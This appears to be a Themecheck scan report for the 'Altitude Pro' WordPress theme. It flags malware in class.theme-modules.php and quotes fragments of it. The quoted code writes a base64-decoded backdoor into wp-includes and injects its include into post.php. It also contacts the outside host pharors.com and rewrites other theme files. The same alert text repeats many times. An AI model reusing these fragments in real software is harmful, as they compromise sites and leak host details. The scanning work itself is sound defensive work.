20
Validation results

Altitude Pro

Altitude Pro

WordPress 6.4.3 theme
20
  • THEME TYPEWordPress child theme 6.4.3
  • FILE NAMEaltitude-pro-v1.2.2.zip
  • FILE SIZE1156185 bytes
  • MD531aaf4eff24d4f91ebc5324b02b3a238
  • SHA1f70dd4d7f4bc765d29475c3dd4b30a6f6fed26e5
  • LICENSEGNU GPL 2
  • FILES INCLUDEDCSS, PHP, XML, Bitmap images, Adobe Illustrator
  • THEME URIhttps://my.studiopress.com/themes/altitude/
  • VERSION1.2.2
  • AUTHOR URI
  • TAGSone-column, two-columns, custom-header, custom-menu, e-commerce, footer-widgets, full-width-template, sticky-post, theme-options, threaded-comments, translation-ready
  • CREATION DATE2020-01-13
  • LAST FILE UPDATE2020-01-13
  • LAST VALIDATION2020-01-13 22:13
This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.
Critical alerts
  1. Customizer : Sanitization of Customizer settings Found a Customizer setting that did not have a sanitization callback function in file customize.php. Every call to the add_setting() method needs to have a sanitization callback function passed.
  2. Security breaches : Modification of PHP server settings Found ini_set in file class.theme-modules.php. 5: ini_set('display_errors', 0);
  3. Security breaches : Use of base64_decode() Found base64_decode in file class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )95: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  4. Malware : Operations on file system file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));177: $content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER['HTTP_HOS178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);
Tip-off
  1. Use of includes : Use of include or requireThe theme appears to use include or require : class.theme-modules.php 48: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes